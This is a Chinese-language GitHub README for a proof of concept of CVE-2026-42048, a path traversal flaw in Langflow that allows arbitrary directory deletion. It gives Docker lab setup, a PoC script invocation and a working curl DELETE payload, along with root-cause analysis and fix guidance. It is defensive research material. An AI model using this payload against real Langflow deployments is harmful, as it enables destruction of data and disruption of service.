EQSTLab/CVE-2026-42048

GitHub: EQSTLab/CVE-2026-42048

该项目是 Langflow 任意目录删除漏洞(CVE-2026-42048)的 PoC 与受控 Docker 实验环境,用于复现并验证路径穿越导致的数据删除风险。

Stars: 2 | Forks: 0

# CVE-2026-42048 **CVE-2026-42048 Langflow 路径穿越 / 任意目录删除 PoC** https://github.com/user-attachments/assets/6e5481ff-e953-47a5-8870-70b30c6550de
## 漏洞描述 CVE-2026-42048:Langflow 任意目录删除漏洞 描述:`1.9.0` 之前版本的 Langflow 中存在路径穿越漏洞。经过身份验证的攻击者可以通过批量删除端点(`DELETE /api/v1/knowledge_bases`),删除预期 Knowledge Base 存储路径之外的目录。该问题的根本原因是:程序在构建文件系统路径时直接使用了用户可控的 `kb_names` 值,且没有进行适当的规范化和边界验证。
## 前置条件 成功利用该漏洞需要满足以下条件: - 目标正在运行存在漏洞的 Langflow 版本(即 `1.9.0` 之前的版本)。 - 攻击者能够访问 Knowledge Base 批量删除端点: ``` DELETE /api/v1/knowledge_bases ``` - 攻击者已通过身份验证,或能够以某种方式发起已通过身份验证的 API 请求。公开的安全公告将此漏洞描述为需要较低的权限(`PR:L`)。 - 攻击者能够控制 `kb_names` 请求体参数。 - Langflow 进程具有删除目标目录的文件系统权限。 此漏洞并不能绕过操作系统的文件权限限制,而是滥用了 Langflow 自身的路径处理和删除逻辑。
## 实验环境搭建 使用 Docker 构建并运行存在漏洞的环境: ### 构建镜像 ``` docker build -t cve-2026-42048 . ``` ### 运行容器 ``` docker run --rm -d -p 9101:9101 --name cve-2026-42048 cve-2026-42048 ``` ### 检查状态 ``` curl http://127.0.0.1:9101/status ``` 该实验环境会在以下路径创建一个一次性的目标目录: ``` /target/CVE-2026-42048 ``` `/status` 端点会报告该目录是否仍然存在。
## 使用方法 ### 使用 PoC 进行漏洞利用 ``` python3 poc.py ``` 交互式输入: ``` Vulnerable URL: http://127.0.0.1:9101 Path to delete [/target/CVE-2026-42048]: ``` ### 使用 curl 进行漏洞利用 ``` curl -s -X DELETE http://127.0.0.1:9101/api/v1/knowledge_bases \ -H "Content-Type: application/json" \ -d '{"kb_names":["/target/CVE-2026-42048"]}' ``` ### 验证结果 ``` curl http://127.0.0.1:9101/status ``` 如果漏洞利用成功,`target_exists` 的值将从 `true` 变为 `false`。
## 原理分析 **存在漏洞的端点** ``` DELETE /api/v1/knowledge_bases ``` 该漏洞存在于 Langflow 的 Knowledge Base 批量删除 API 中。受影响的处理程序接收一个包含 Knowledge Base 名称的列表(通过 `kb_names` 参数传入),并使用其中的每个值构建用于删除的文件系统路径。 在存在漏洞的版本中,批量删除逻辑是手动构建路径的,而没有使用其他 Knowledge Base 端点所采用的更安全的路径解析辅助方法。该漏洞模式的简化表示如下: ``` kb_root_path = KBStorageHelper.get_root_path() kb_user_path = kb_root_path / current_user.username for kb_name in request.kb_names: kb_path = kb_user_path / kb_name if not kb_path.exists() or not kb_path.is_dir(): continue KBStorageHelper.delete_storage(kb_path, kb_name) ``` 最终,删除辅助程序会使用递归删除逻辑移除目标目录。由于 `kb_name` 是攻击者可控的,因此像 `../` 这样的路径穿越序列就可以逃逸出当前用户的 Knowledge Base 目录。在 Python 的 `pathlib` 中,如果右侧提供的是一个绝对路径,它也会覆盖之前的路径组件: ``` Path("/safe/base") / "/target/CVE-2026-42048" # -> /target/CVE-2026-42048 ``` 因此,只要 Langflow 进程具有删除该目录的权限,精心构造的 `kb_names` 值就会导致 Langflow 删除预期 Knowledge Base 存储根目录之外的目录。 这是一个 **CWE-22: 路径名限制不当(对受限目录的路径限制不完善)** 问题。 ### 技术根本原因 根本原因是在执行递归删除之前,对用户可控的路径组件缺乏充分的规范化和边界验证。存在漏洞的批量删除端点虽然检查了最终路径是否存在,但并未确保解析后的路径依然位于已通过身份验证的用户的 Knowledge Base 目录之下。 稳健的修复方案必须做到: - 使用 `Path.resolve()` 规范化最终路径 - 确保解析后的路径仍然位于已通过身份验证的用户的 Knowledge Base 目录内部 - 在执行删除之前,拒绝任何逃逸出该目录的路径 Langflow 已在 `1.9.0` 版本中修复了此问题。 ### 漏洞影响 任意目录删除会直接影响系统的完整性和可用性。根据部署权限和文件系统布局的不同,攻击者可能能够: - 删除其他用户的 Knowledge Base 数据 - 移除应用程序拥有的目录 - 破坏 Langflow 的运行时状态 - 导致数据丢失或服务中断 此问题无需任意代码执行即可造成严重危害。利用应用程序自身权限执行递归删除,足以破坏数据和可用性。
## 攻击场景 ``` +-------------------------------------------+ | Authenticated User | +-------------------------------------------+ | | DELETE /api/v1/knowledge_bases | kb_names = ["/target/CVE-2026-42048"] v +-------------------------------------------+ | Langflow Knowledge Base API | +-------------------------------------------+ | | Unsafe path construction v +-------------------------------------------+ | Path Escapes Intended KB User Directory | +-------------------------------------------+ | | Recursive directory deletion v +-------------------------------------------+ | Arbitrary Directory Deletion | +-------------------------------------------+ ```
## 实验环境说明 本实验环境在端口 `9101` 上暴露了一个小型挑战代理。该代理将完整的 Langflow UI 和直接的后端端口隐藏起来,仅转发完成本练习所需的最小化漏洞 API 路径。 实验环境的目标目录为: ``` /target/CVE-2026-42048 ``` 可以使用 `/status` 端点来确认目标目录是否已被删除。
## 环境清理 ``` docker stop cve-2026-42048 ```
## 免责声明 本仓库并非旨在为未经授权利用 Langflow 实例提供便利。本项目的目的是帮助安全研究人员、防御者和开发人员了解该漏洞,在受控环境中验证漏洞暴露情况,并采取有效的缓解措施。
## 参考资料 https://github.com/langflow-ai/langflow/security/advisories/GHSA-9whx-c884-c68q https://nvd.nist.gov/vuln/detail/CVE-2026-42048 https://github.com/langflow-ai/langflow
标签:PoC, Python, Web安全, Web报告查看器, 无后门, 暴力破解, 蓝队分析, 请求拦截, 路径穿越, 逆向工具